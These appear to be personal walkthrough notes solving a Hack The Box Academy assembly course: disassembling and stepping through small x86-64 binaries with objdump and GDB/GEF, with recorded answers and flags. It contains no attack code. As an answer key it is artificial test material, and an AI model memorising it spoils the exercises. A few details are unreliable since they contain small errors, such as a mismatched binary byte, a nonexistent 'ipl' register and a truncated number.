PRACTICAL EXERCISES

ASSEMBLY LANGUAGE

In the below 'Hello World' example, which Assembly instruction will '00001111 00000101' execute?
//Hello World Assembly Instruction
mov rax, 1
mov rdi, 1
mov rsi, message
mov rdx, 12
syscall

mov rax, 60
mov rdi, 0
syscall
//Hello World Hexadecimal Machine Code Representation
48 c7 c0 01
48 c7 c7 01
48 8b 34 25
48 c7 c2 0c
0f 05

48 c7 c0 3c
48 c7 c7 00
0f 05
//Hello World Binary Machine Code Representation
01001000 11000111 11000000 00000001
01001000 11000111 11000111 00000001
01001000 10001011 00110100 00100101
01001000 11000111 11000010 00001101 
00001111 00000101

01001000 11000111 11000000 00111100 
01001000 11000111 11000111 00000000 
00001111 00000101

REGISTERS, ADDRESSES & DATA TYPES

What is the 8-bit register for 'rdi'?
Description                  64-bit   32-bit   16-bit   8-bit
----------------------------------------------------------------
Data / Argument Registers
Syscall Number / Return val  rax      eax      ax       al
Callee Saved                 rbx      ebx      bx       bl
1st arg - Destination operand rdi     edi      di       dil
2nd arg - Source operand     rsi      esi      si       sil
3rd arg                      rdx      edx      dx       dl
4th arg - Loop counter       rcx      ecx      cx       cl
5th arg                      r8       r8d      r8w      r8b
6th arg                      r9       r9d      r9w      r9b

Pointer Registers
Base Stack Pointer           rbp      ebp      bp       bpl
Current / Top Stack Pointer  rsp      esp      sp       spl
Instruction Pointer (call)   rip      eip      ip       ipl

ASSEMBLING & DISASSEMBLING

Download the attached file and disassemble it to find the flag
//TRIAGE
root@htb:~$ curl -O https://academy.hackthebox.com/storage/modules/85/disasm.zip
root@htb:~$ ls
 disasm.zip
root@htb:~$ unzip disasm.zip 
 Archive:  disasm.zip
  inflating: disasm 

root@htb:~$ file disasm
 disasm: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

root@htb:~$ strings disasm
 HBT{d154553m811n9_81n42135_2_f1nd_53c2375}
 disasm.s
 message
 length
 __bss_start
 _edata
 _end
 .symtab
 .strtab
 .shstrtab
 .text
 .data
root@htb:~$ objdump -M intel -d disasm
 disasm:     file format elf64-x86-64
 Disassembly of section .text:
 0000000000401000 <_start>:
  401000:	48 b8 00 20 40 00 00 	movabs rax,0x402000
  401007:	00 00 00 
  40100a:	48 31 c0             	xor    rax,rax
  40100d:	b8 3c 00 00 00       	mov    eax,0x3c
  401012:	bf 00 00 00 00       	mov    edi,0x0
  401017:	0f 05                	syscall


root@htb:~$ objdump -M intel -sj .data disasm
 disasm:     file format elf64-x86-64

 Contents of section .data:
  402000 4842547b 64313534 3535336d 3831316e  HBT{d154553m811n
  402010 395f3831 6e343231 33355f32 5f66316e  9_81n42135_2_f1n
  402020 645f3533 63323337 357d               d_53c2375} 

DEBUGGING WITH GDB

Download the attached file, and find the hex value in 'rax' when we reach the instruction at <_start+16>?
root@htb:~$ curl -O https://academy.hackthebox.com/storage/modules/85/gdb.zip
 ...
root@htb:~$ ls
 gdb.zip
 
root@htb:~$ unzip gdb.zip 
 Archive:  gdb.zip
  inflating: gdb
  
//TRIAGE
root@htb:~$ file gdb
gdb: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

root@htb:~$ strings gdb
 Academy!H5I
 gdb.s
 __bss_start
 _edata
 _end
 .symtab
 .strtab
 .shstrtab
 .text
 
root@htb:~$ objdump -M intel -d gdb
 gdb:     file format elf64-x86-64

 Disassembly of section .text:

 0000000000401000 <_start>:
   401000:	48 b8 41 63 61 64 65 	movabs rax,0x21796d6564616341
   401007:	6d 79 21 
   40100a:	48 35 49 14 02 00    	xor    rax,0x21449
   401010:	48 31 c0             	xor    rax,rax
//DEBUGGING
root@htb:~$ gdb -q ./gdb
 Reading symbols from ./gdb...
 (No debugging symbols found in ./gdb)

(gdb) All defined functions:
 Non-debugging symbols:
 0x0000000000401000  _start
 0x0000000000402000  __bss_start
 0x0000000000402000  _edata
 0x0000000000402000  _end
 
(gdb) info variables 
 All defined variables:
 
(gdb) break *_start
 Breakpoint 1 at 0x401000

(gdb) info breakpoints 
 Num     Type           Disp Enb Address            What
 1       breakpoint     keep y   0x0000000000401000 <_start> 
 	 breakpoint already hit 1 time

(gdb) run
 Starting program: /home/htb-ac-53539/gdb 

(gdb) disassemble _start
 Dump of assembler code for function _start:
 => 0x0000000000401000 <+0>:	movabs $0x21796d6564616341,%rax
    0x000000000040100a <+10>:	xor    $0x21449,%rax
    0x0000000000401010 <+16>:	xor    %rax,%rax

(gdb) break *0000000000401010
 Breakpoint 5 at 0x20208

(gdb) si
 0x000000000040100a in _start ()

(gdb) disas
 Dump of assembler code for function _start:
    0x0000000000401000 <+0>:	movabs $0x21796d6564616341,%rax
 => 0x000000000040100a <+10>:	xor    $0x21449,%rax
    0x0000000000401010 <+16>:	xor    %rax,%rax
 End of assembler dump.

(gdb) si
 0x0000000000401010 in _start ()

(gdb) disas
 Dump of assembler code for function _start:
    0x0000000000401000 <+0>:	movabs $0x21796d6564616341,%rax
    0x000000000040100a <+10>:	xor    $0x21449,%rax
 => 0x0000000000401010 <+16>:	xor    %rax,%rax
 
(gdb) x/wx 0x0000000000401010
 0x401010 <_start+16>:	0x00c03148
 
 * x (1st x) examines memory
 * /wx controls how the memory is displayed:
    - w refers to word (in x86-64, a word here means 4 bytes).
    - x (2nd x) refers hexadecimal format.

(gdb) info registers rax
 rax            0x21796d6564637708  2412079357676975880 

 * this shows the contents of RAX before the xor %rax,%rax executes.
    - when xor %rax,%rax executes RAX = 0x0 as any value XOR’d with 
      itself becomes 0

DATA MOVEMENT

Add an instruction at the end of the attached code to move the value in "rsp" to "rax". What is the hex value of "rax" at the end of program execution?
root@htb:~$ curl -O https://academy.hackthebox.com/storage/modules/85/mov.zip
 ...
root@htb:~$ unzip mov.zip 
 Archive:  mov.zip
  inflating: mov.s
   
root@htb:~$ cat mov.s 
 global _start

 section .text
 _start:
   mov rax, 1024
   mov rbx, 2048
   xchg rax, rbx
   push rbx

root@htb:~$ nano mov.s
 ...
 push rbx
 mov rax, [rsp]
 
root@htb:~$ nasm -f elf64 mov.s -o mov.o
root@htb:~$ ld mov.o -o mov
root@htb:~$ gdb ./mov
 GEF for linux ready, type `gef' to start, `gef config' to configure
 93 commands loaded and 5 functions added for GDB 13.1 in 0.00ms using Python engine 3.11
 Reading symbols from ./mov...
 (No debugging symbols found in ./mov)

gef>  info functions 
 All defined functions:

 Non-debugging symbols:
 0x0000000000401000  _start
 0x0000000000402000  __bss_start
 0x0000000000402000  _edata
 0x0000000000402000  _end

gef> break *_start
 Breakpoint 1 at 0x401000

gef> info breakpoints 
 Num     Type           Disp Enb Address            What
 1       breakpoint     keep y   0x0000000000401000 <_start>

gef> run
     0x400ffa                  add    BYTE PTR [rax], al
     0x400ffc                  add    BYTE PTR [rax], al
     0x400ffe                  add    BYTE PTR [rax], al
 ●→  0x401000 <_start+0000>    mov    eax, 0x400
     0x401005 <_start+0005>    mov    ebx, 0x800
     0x40100a <_start+000a>    xchg   rbx, rax
     0x40100c <_start+000c>    push   rbx
     0x40100d <_start+000d>    mov    rax, QWORD PTR [rsp]
     0x401011                  add    BYTE PTR [rax], al

gef> si 4
  →  0x40100d <_start+000d>    mov    rax, QWORD PTR [rsp]
     0x401011                  add    BYTE PTR [rax], al
     0x401013                  add    BYTE PTR [rax], al
     0x401015                  add    BYTE PTR [rax], al
     0x401017                  add    BYTE PTR [rax], al
     0x401019                  add    BYTE PTR [rax], al
     
 * In GDB/GEF, the arrow → points to the next instruction that will be executed.
  - To execute that instruction and step forward, use the "si" (step instruction) command.

gef>  info registers 
 rax            0x800               0x800
 rbx            0x400               0x400

gef> si
 $rax   : 0x400             
 $rbx   : 0x400 

gef> info registers rax
 rax            0x400               0x400

ARITHMETIC INSTRUCTIONS

Add an instruction to the end of the attached code to "xor" "rbx" with "15". What is the hex value of 'rbx' at the end?
root@htb:~$ curl -O https://academy.hackthebox.com/storage/modules/85/arithmetic.zip
root@htb:~$ unzip arithmetic.zip
root@htb:~$ cat arithmetic.s 
 global _start

 section .text
 _start:
    xor rax, rax
    xor rbx, rbx
    add rbx, 15
root@htb:~$ nano arithmetic.s
 ...
 add rbx, 15
 xor rbx, rbx

root@htb:~$ nasm -f elf64 arithmetic.s -o arithmetic.o
root@htb:~$ ld arithmetic.o -o arithmetic
root@htb:~$ ls
 arithmetic
root@htb:~$ gdb -q ./arithmetic
 GEF for linux ready, type `gef' to start, `gef config' to configure
 93 commands loaded and 5 functions added for GDB 13.1 in 0.00ms using Python engine 3.11
 Reading symbols from ./arithmetic...
 (No debugging symbols found in ./arithmetic)

gef> info functions 
 All defined functions:

 Non-debugging symbols:
 0x0000000000401000  _start

gef> break *_start
 Breakpoint 1 at 0x401000

gef> run
 ...
 ●→   0x401000 <_start+0000>    xor    rax, rax
      0x401003 <_start+0003>    xor    rbx, rbx
      0x401006 <_start+0006>    add    rbx, 0xf
      0x40100a <_start+000a>    xor    rbx, 0xf
      0x40100e                  add    BYTE PTR [rax], al
      0x401010                  add    BYTE PTR [rax], al

gef> si 3
  →   0x40100a <_start+000a>    xor    rbx, 0xf

gef>  info registers 
 rax            0x0                 0x0
 rbx            0x0                 0x0

LOOPS

Edit the attached assembly code to loop the "loop" label 5 times. What is the hex value of "rax" by the end?
root@htb:~$ curl -O https://academy.hackthebox.com/storage/modules/85/loops.zip
root@htb:~$ unzip loops.zip
root@htb:~$ cat loops.s
 global _start

 section .text
 _start:
   mov rax, 2
   mov rcx, 5

 loop:
   imul rax, rax
   
   
root@htb:~$ nano loops.s
 ...
 mov rcx, 5
 loop5:                      ;although valid, rename IOT avoid confusion
   imul rax, rax
   loop loop5
   
root@htb:~$ nasm -f elf64 loops.s -o loops.o
root@htb:~$ ld loops.o -o loops
root@htb:~$ gdb -q ./loops
 GEF for linux ready, type `gef' to start, `gef config' to configure
 93 commands loaded and 5 functions added for GDB 13.1 in 0.00ms using Python engine 3.11
 Reading symbols from ./loops...
 (No debugging symbols found in ./loops)
 
gef> info functions
 All defined functions:

 Non-debugging symbols:
 0x0000000000401000  _start

gef> break *_start
gef>  info breakpoints 
 Num     Type           Disp Enb Address            What
 1       breakpoint     keep y   0x0000000000401000 <_start>

gef> run
 ●→   0x401000 <_start+0000>    mov    eax, 0x2
      0x401005 <_start+0005>    mov    ecx, 0x5
      0x40100a <loop5+0000>     imul   rax, rax
      0x40100e <loop5+0004>     loop   0x40100a <loop5>
      0x401010                  add    BYTE PTR [rax], al
      0x401012                  add    BYTE PTR [rax], al

gef> si 3
      0x400fff                  add    BYTE PTR [rax+0x2], bh
      0x401005 <_start+0005>    mov    ecx, 0x5
      0x40100a <loop5+0000>     imul   rax, rax
  →   0x40100e <loop5+0004>     loop   0x40100a <loop5>
      0x401010                  add    BYTE PTR [rax], al
      0x401012                  add    BYTE PTR [rax], al
      0x401014                  add    BYTE PTR [rax], al
      0x401016                  add    BYTE PTR [rax], al
      0x401018                  add    BYTE PTR [rax], al

gef>      
 0x401005 <_start+0005>    mov    ecx, 0x5
      0x40100a <loop5+0000>     imul   rax, rax
      0x40100e <loop5+0004>     loop   0x40100a <loop5>
  →   0x401010                  add    BYTE PTR [rax], al
      0x401012                  add    BYTE PTR [rax], al
      0x401014                  add    BYTE PTR [rax], al
      0x401016                  add    BYTE PTR [rax], al
      0x401018                  add    BYTE PTR [rax], al
      0x40101a                  add    BYTE PTR [rax], al
 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
 [#0] Id 1, Name: "loops", stopped 0x401010 in ?? (), reason: SIGSEGV
 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
 [#0] 0x401010 → add BYTE PTR [rax], al
 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

gef> p /x $rax
 $1 = 0x100000000

 * Iteration 1: rax = 2 * 2 = 4
   Iteration 2: rax = 4 * 4 = 16
   Iteration 3: rax = 16 * 16 = 256
   Iteration 4: rax = 256 * 256 = 65,536
   Iteration 5: rax = 65,536 * 65,536 = 4,294,967,29

 * p means print
 * /x means hexadecimal
 * $rax is the specified register
 
 * p/d $rax	Print rax as signed decimal	4294967296
   p/x $rbx	Print rbx as hexadecimal	0x100000000
   p/u $rcx	Print rcx as unsigned decimal	4294967296
   p/t $rdx	Print rdx as binary	100000000000000000000000000000000
   

UNCONDITIONAL BRANCHING

Try to jump to "func" before "loop loop". What is the hex value of "rbx" at the end?
root@htb:~$ curl -O https://academy.hackthebox.com/storage/modules/85/unconditional.zip
root@htb:~$ unzip unconditional.zip
root@htb:~$ cat unconditional.s
 section .text
   global _start

   _start:
     mov rbx, 2
     mov rcx, 5

   loop:
     imul rbx, rbx
     loop loop

   func:
     mov rax, 60
      mov rdi, 0
      syscall
root@htb:~$ nano unconditional.s
 ...
   _start:
     mov rbx, 2
     mov rcx, 5

   loop:
     imul rbx, rbx
     
     jmp func         ;jmp placed here per instruction
     loop loop

   func:
     mov rax, 60
     mov rdi, 0
     syscall
      
root@htb:~$ nasm -f elf64 unconditional.s -o unconditional.o
root@htb:~$ ld unconditional.o -o unconditional
root@htb:~$ gdb -q ./unconditional
 GEF for linux ready, type `gef' to start, `gef config' to configure
 93 commands loaded and 5 functions added for GDB 13.1 in 0.00ms using Python engine 3.11
 Reading symbols from ./unconditional...
 (No debugging symbols found in ./unconditional)

gef> info functions 
 All defined functions:

 Non-debugging symbols:
 0x0000000000401000  _start
 0x000000000040100c  loop
 0x0000000000401012  func  

gef> break *_start
 Breakpoint 1 at 0x401000
gef> break *func
 Breakpoint 2 at 0x401012
gef> info breakpoints
 Num     Type           Disp Enb Address            What
 1       breakpoint     keep y   0x0000000000401000 <_start>
 2       breakpoint     keep y   0x0000000000401012 <func>

gef> run

gef> si 3
      0x400fff                  add    BYTE PTR [rbx+0x2], bh
      0x401005 <_start+0005>    mov    ecx, 0x5
      0x40100a <loop+0000>      imul   rbx, rbx
  →   0x40100e <loop+0004>      jmp    0x401012 <func>
      0x401010 <loop+0006>      loop   0x40100a <loop>
 ●    0x401012 <func+0000>      mov    eax, 0x3c
      0x401017 <func+0005>      mov    edi, 0x0
      0x40101c <func+000a>      syscall 
      0x40101e                  add    BYTE PTR [rax], al

gef> si
      0x40100e <loop+0004>      jmp    0x401012 <func>
      0x401010 <loop+0006>      loop   0x40100a <loop>
 ●    0x401012 <func+0000>      mov    eax, 0x3c
  →   0x401017 <func+0005>      mov    edi, 0x0
      0x40101c <func+000a>      syscall 
      0x40101e                  add    BYTE PTR [rax], al
      0x401020                  add    BYTE PTR [rax], al
      0x401022                  add    BYTE PTR [rax], al
      0x401024                  add    BYTE PTR [rax], al

gef> p /x $rbx
 $2 = 0x4

gef> info registers rbx
 rbx            0x4                 0x4

CONDITIONAL BRANCHING

The attached assembly code loops forever. Try to modify (mov rax, 5) to make it not loop. What hex value prevents the loop?
root@htb:~$ curl -O https://academy.hackthebox.com/storage/modules/85/conditional.zip
root@htb:~$ unzip conditional.zip
root@htb:~$ cat conditional.s
 section .text
   global _start
 
   _start:
     mov  rax, 5      ; change here
     imul rax, 5      ; rax = 5 * 5 (25)
     
     ;rax == 10	Zero Flag is set	No (loop exits)
     ;rax != 10	Zero Flag is clear	Yes (loop continues)

     ; cmp rax, 10 must set ZF = 1 (i.e., rax == 10) to prevent the loop (jnz not taken)

   loop:
     ; if (rax == 10) then ZF = 1 → do not loop
     ; if (rax != 10) then ZF = 0 → jump to loop
     cmp rax, 10      ; rax = 25 - 10 (15)
                      ; subtract 10 from RAX (without storing the result),
                      ; then set flags accordingly (especially Zero Flag).
     jnz loop         ; Jump back to loop if the result of the comparison doesn't set ZF to 1 (true) (i.e., RAX != 10)

 * imul performs signed multiplication, meaning it treats the operands as 
   signed integers (can be negative or positive) when calculating the result.
root@htb:~$ nano conditional.s
 section .text
   global _start
 
   _start:
     ;mov rax, 5      ; change here - must change rax to equal 10
     mov  rax, 2
     imul rax, 5      ; rax = 2 * 5 (10)

     ; cmp rax, 10 must set ZF = 1 (i.e., rax == 10) to prevent the loop (jnz not taken)

   loop:
     ; if (rax == 10) then ZF = 1 → do not loop
     ; if (rax != 10) then ZF = 0 → jump to loop
     cmp rax, 10      ; rax = 10 - 10 (0) - this must be = 0 to prevent the loop
     jnz loop         ; think of jnz as (a != b)

 * imul performs signed multiplication, meaning it treats the operands as 
   signed integers (can be negative or positive) when calculating the result.
   
root@htb:~$ nasm -f elf64 conditional.s -o conditional.o
root@htb:~$ ld conditional.o -o conditional
root@htb:~$ gdb -q ./conditional
gef> info func
 All defined functions:

 Non-debugging symbols:
 0x0000000000401000  _start
 0x0000000000401009  loop

gef>  break *_start
 Breakpoint 1 at 0x401000
gef>  break *loop
 Breakpoint 2 at 0x401009
gef>  info breakpoints 
 Num     Type           Disp Enb Address            What
 1       breakpoint     keep y   0x0000000000401000 <_start>
 2       breakpoint     keep y   0x0000000000401009 <loop>

gef> run
      0x400ffa                  add    BYTE PTR [rax], al
      0x400ffc                  add    BYTE PTR [rax], al
      0x400ffe                  add    BYTE PTR [rax], al
 ●→   0x401000 <_start+0000>    mov    eax, 0x2
      0x401005 <_start+0005>    imul   rax, rax, 0x5
      0x401009 <loop+0000>      cmp    rax, 0xa
      0x40100d <loop+0004>      jne    0x401009 <loop>
      0x40100f                  add    BYTE PTR [rax], al
      0x401011                  add    BYTE PTR [rax], al

gef> si 2
      0x400ffe                  add    BYTE PTR [rax], al
 ●    0x401000 <_start+0000>    mov    eax, 0x2
      0x401005 <_start+0005>    imul   rax, rax, 0x5
  →   0x401009 <loop+0000>      cmp    rax, 0xa
      0x40100d <loop+0004>      jne    0x401009 <loop>
      0x40100f                  add    BYTE PTR [rax], al
      0x401011                  add    BYTE PTR [rax], al
      0x401013                  add    BYTE PTR [rax], al
      0x401015                  add    BYTE PTR [rax], al

gef> si
 ●    0x401000 <_start+0000>    mov    eax, 0x2
      0x401005 <_start+0005>    imul   rax, rax, 0x5
      0x401009 <loop+0000>      cmp    rax, 0xa
  →   0x40100d <loop+0004>      jne    0x401009 <loop>	NOT taken [Reason: !(!Z)]
      0x40100f                  add    BYTE PTR [rax], al
      0x401011                  add    BYTE PTR [rax], al
      0x401013                  add    BYTE PTR [rax], al
      0x401015                  add    BYTE PTR [rax], al
      0x401017                  add    BYTE PTR [rax], al

 * →   0x40100d <loop+0004>      jne    0x401009 <loop>	NOT taken [Reason: !(!Z)]
  - 0x2 prevents the loop

USING THE STACK

Debug the attached binary to find the flag being pushed to the stack
root@htb:~$ curl -O https://academy.hackthebox.com/storage/modules/85/stack.zip
root@htb:~$ unzip stack.zip
//TRIAGE
root@htb:~$ file stack
 stack: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
 
root@htb:~$ strings stack
 r3v3r53}PH
 r1n9_1n_PH
 1n9_4_57PH
 HTB{pu5hP
 stack.s
 __bss_start
 _edata
 _end
 .symtab
 .strtab
 .shstrtab
 .text 
 
//DEBUGGING
root@htb:~$ gdb -q ./stack
gdb -q ./stack
 GEF for linux ready, type `gef' to start, `gef config' to configure
 93 commands loaded and 5 functions added for GDB 13.1 in 0.00ms using Python engine 3.11
 Reading symbols from ./stack...
 (No debugging symbols found in ./stack)

gef>  info functions 
 All defined functions:
 
 Non-debugging symbols:
 0x0000000000401000  _start
 0x0000000000402000  __bss_start
 0x0000000000402000  _edata
 0x0000000000402000  _end
gef> break *_start
 Breakpoint 1 at 0x401000

gef> run
      0x400ffa                  add    BYTE PTR [rax], al
      0x400ffc                  add    BYTE PTR [rax], al
      0x400ffe                  add    BYTE PTR [rax], al
 ●→   0x401000 <_start+0000>    push   0x0
      0x401002 <_start+0002>    movabs rax, 0x7d33357233763372
      0x40100c <_start+000c>    push   rax
      0x40100d <_start+000d>    movabs rax, 0x5f6e315f396e3172
      0x401017 <_start+0017>    push   rax
      0x401018 <_start+0018>    movabs rax, 0x37355f345f396e31
      
 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
 0x00007fffffffdf30│+0x0000: 0x0000000000000001	 ← $rsp
 0x00007fffffffdf38│+0x0008: 0x00007fffffffe256  →  "/home/htb-ac-53539/stack"
 0x00007fffffffdf40│+0x0010: 0x0000000000000000
 0x00007fffffffdf48│+0x0018: 0x00007fffffffe26f  →  "SHELL=/bin/bash"
 0x00007fffffffdf50│+0x0020: 0x00007fffffffe27f  →  "SESSION_MANAGER=local/htb-pqus1mtc9b:@/tmp/.ICE-un[...]"
 0x00007fffffffdf58│+0x0028: 0x00007fffffffe2e1  →  "WINDOWID=52428806"
 0x00007fffffffdf60│+0x0030: 0x00007fffffffe2f3  →  "QT_ACCESSIBILITY=1"
 0x00007fffffffdf68│+0x0038: 0x00007fffffffe306  →  "COLORTERM=truecolor"

 * movabs allows loading large addresses or large constants directly into 
   registers.
    - without it, you’d need multiple instructions (like mov + shl + or) to 
      build a 64-bit constant.
gef> si
      0x400ffb                  add    BYTE PTR [rax], al
      0x400ffd                  add    BYTE PTR [rax], al
      0x400fff                  add    BYTE PTR [rdx+0x0], ch
  →   0x401002 <_start+0002>    movabs rax, 0x7d33357233763372
      0x40100c <_start+000c>    push   rax
      0x40100d <_start+000d>    movabs rax, 0x5f6e315f396e3172
      0x401017 <_start+0017>    push   rax
      0x401018 <_start+0018>    movabs rax, 0x37355f345f396e31
      0x401022 <_start+0022>    push   rax

 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
 0x00007fffffffdf28│+0x0000: 0x0000000000000000	 ← $rsp
 0x00007fffffffdf30│+0x0008: 0x0000000000000001
 0x00007fffffffdf38│+0x0010: 0x00007fffffffe256  →  "/home/htb-ac-53539/stack"
 0x00007fffffffdf40│+0x0018: 0x0000000000000000
 0x00007fffffffdf48│+0x0020: 0x00007fffffffe26f  →  "SHELL=/bin/bash"
 0x00007fffffffdf50│+0x0028: 0x00007fffffffe27f  →  "SESSION_MANAGER=local/htb-pqus1mtc9b:@/tmp/.ICE-un[...]"
 0x00007fffffffdf58│+0x0030: 0x00007fffffffe2e1  →  "WINDOWID=52428806"
 0x00007fffffffdf60│+0x0038: 0x00007fffffffe2f3  →  "QT_ACCESSIBILITY=1"
gef> si
 0x00007fffffffdf28│+0x0000: 0x0000000000000000	 ← $rsp
 0x00007fffffffdf30│+0x0008: 0x0000000000000001
 0x00007fffffffdf38│+0x0010: 0x00007fffffffe256  →  "/home/htb-ac-53539/stack"
 0x00007fffffffdf40│+0x0018: 0x0000000000000000
 0x00007fffffffdf48│+0x0020: 0x00007fffffffe26f  →  "SHELL=/bin/bash"
 0x00007fffffffdf50│+0x0028: 0x00007fffffffe27f  →  "SESSION_MANAGER=local/htb-pqus1mtc9b:@/tmp/.ICE-un[...]"
 0x00007fffffffdf58│+0x0030: 0x00007fffffffe2e1  →  "WINDOWID=52428806"
 0x00007fffffffdf60│+0x0038: 0x00007fffffffe2f3  →  "QT_ACCESSIBILITY=1"
 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
      0x400ffd                  add    BYTE PTR [rax], al
      0x400fff                  add    BYTE PTR [rdx+0x0], ch
      0x401002 <_start+0002>    movabs rax, 0x7d33357233763372
  →   0x40100c <_start+000c>    push   rax
      0x40100d <_start+000d>    movabs rax, 0x5f6e315f396e3172
      0x401017 <_start+0017>    push   rax
      0x401018 <_start+0018>    movabs rax, 0x37355f345f396e31
      0x401022 <_start+0022>    push   rax
      0x401023 <_start+0023>    movabs rax, 0x683575707b425448
 ───────────────────────────────────────────────────────────────────
gef> si
 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
 0x00007fffffffdf20│+0x0000: "r3v3r53}"	 ← $rsp
 0x00007fffffffdf28│+0x0008: 0x0000000000000000
 0x00007fffffffdf30│+0x0010: 0x0000000000000001
 0x00007fffffffdf38│+0x0018: 0x00007fffffffe256  →  "/home/htb-ac-53539/stack"
 0x00007fffffffdf40│+0x0020: 0x0000000000000000
 0x00007fffffffdf48│+0x0028: 0x00007fffffffe26f  →  "SHELL=/bin/bash"
 0x00007fffffffdf50│+0x0030: 0x00007fffffffe27f  →  "SESSION_MANAGER=local/htb-pqus1mtc9b:@/tmp/.ICE-un[...]"
 0x00007fffffffdf58│+0x0038: 0x00007fffffffe2e1  →  "WINDOWID=52428806"
 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
 ●    0x401000 <_start+0000>    push   0x0
      0x401002 <_start+0002>    movabs rax, 0x7d33357233763372
      0x40100c <_start+000c>    push   rax
  →   0x40100d <_start+000d>    movabs rax, 0x5f6e315f396e3172
      0x401017 <_start+0017>    push   rax
      0x401018 <_start+0018>    movabs rax, 0x37355f345f396e31
      0x401022 <_start+0022>    push   rax
      0x401023 <_start+0023>    movabs rax, 0x683575707b425448
      0x40102d <_start+002d>    push   rax
gef> si
 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
 0x00007fffffffdf18│+0x0000: "r1n9_1n_r3v3r53}"	 ← $rsp
 0x00007fffffffdf20│+0x0008: "r3v3r53}"
 0x00007fffffffdf28│+0x0010: 0x0000000000000000
 0x00007fffffffdf30│+0x0018: 0x0000000000000001
 0x00007fffffffdf38│+0x0020: 0x00007fffffffe256  →  "/home/htb-ac-53539/stack"
 0x00007fffffffdf40│+0x0028: 0x0000000000000000
 0x00007fffffffdf48│+0x0030: 0x00007fffffffe26f  →  "SHELL=/bin/bash"
 0x00007fffffffdf50│+0x0038: 0x00007fffffffe27f  →  "SESSION_MANAGER=local/htb-pqus1mtc9b:@/tmp/.ICE-un[...]"
 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
      0x40100c <_start+000c>    push   rax
      0x40100d <_start+000d>    movabs rax, 0x5f6e315f396e3172
      0x401017 <_start+0017>    push   rax
  →   0x401018 <_start+0018>    movabs rax, 0x37355f345f396e31
      0x401022 <_start+0022>    push   rax
      0x401023 <_start+0023>    movabs rax, 0x683575707b425448
      0x40102d <_start+002d>    push   rax
      0x40102e <_start+002e>    mov    eax, 0x3c
      0x401033 <_start+0033>    mov    edi, 0x0
gef> si
 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
 0x00007fffffffdf10│+0x0000: "1n9_4_57r1n9_1n_r3v3r53}"	 ← $rsp
 0x00007fffffffdf18│+0x0008: "r1n9_1n_r3v3r53}"
 0x00007fffffffdf20│+0x0010: "r3v3r53}"
 0x00007fffffffdf28│+0x0018: 0x0000000000000000
 0x00007fffffffdf30│+0x0020: 0x0000000000000001
 0x00007fffffffdf38│+0x0028: 0x00007fffffffe256  →  "/home/htb-ac-53539/stack"
 0x00007fffffffdf40│+0x0030: 0x0000000000000000
 0x00007fffffffdf48│+0x0038: 0x00007fffffffe26f  →  "SHELL=/bin/bash"
 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
      0x401017 <_start+0017>    push   rax
      0x401018 <_start+0018>    movabs rax, 0x37355f345f396e31
      0x401022 <_start+0022>    push   rax
  →   0x401023 <_start+0023>    movabs rax, 0x683575707b425448
      0x40102d <_start+002d>    push   rax
      0x40102e <_start+002e>    mov    eax, 0x3c
      0x401033 <_start+0033>    mov    edi, 0x0
      0x401038 <_start+0038>    syscall 
      0x40103a                  add    BYTE PTR [rax], al
      
gef> si
 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
 0x00007fffffffdf08│+0x0000: "HTB{pu5h1n9_4_57r1n9_1n_r3v3r53}"	 ← $rsp
 0x00007fffffffdf10│+0x0008: "1n9_4_57r1n9_1n_r3v3r53}"
 0x00007fffffffdf18│+0x0010: "r1n9_1n_r3v3r53}"
 0x00007fffffffdf20│+0x0018: "r3v3r53}"
 0x00007fffffffdf28│+0x0020: 0x0000000000000000
 0x00007fffffffdf30│+0x0028: 0x0000000000000001
 0x00007fffffffdf38│+0x0030: 0x00007fffffffe256  →  "/home/htb-ac-53539/stack"
 0x00007fffffffdf40│+0x0038: 0x0000000000000000
 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
      0x401022 <_start+0022>    push   rax
      0x401023 <_start+0023>    movabs rax, 0x683575707b425448
      0x40102d <_start+002d>    push   rax
  →   0x40102e <_start+002e>    mov    eax, 0x3c
      0x401033 <_start+0033>    mov    edi, 0x0
      0x401038 <_start+0038>    syscall 
      0x40103a                  add    BYTE PTR [rax], al
      0x40103c                  add    BYTE PTR [rax], al
      0x40103e                  add    BYTE PTR [rax], al

SYSCALLS

What is the syscall number of "execve"?
root@htb:~$ man -s 2 execve
 ...
 #include <unistd.h>
 int execve(const char *pathname, char *const _Nullable argv[], char *const _Nullable envp[]);
 
root@htb:~$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep execve
 #define __NR_execve 59
 #define __NR_execveat 322

How many arguments does "execve" take?
root@htb:~$ man -s 2 execve
 ...
 #include <unistd.h>
 int execve(const char *pathname, char *const _Nullable argv[], char *const _Nullable envp[]);
 
root@htb:~$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep execve
 #define __NR_execve 59
 #define __NR_execveat 322

PROCEDURES

Try assembling and debugging the above code, and note how "call" and "ret" store and retrieve "rip" on the stack. What is the address at the top of the stack after entering "Exit"? (6-digit hex 0xaddress, without zeroes)
root@htb:~$ nano procedure.asm 
  section .data
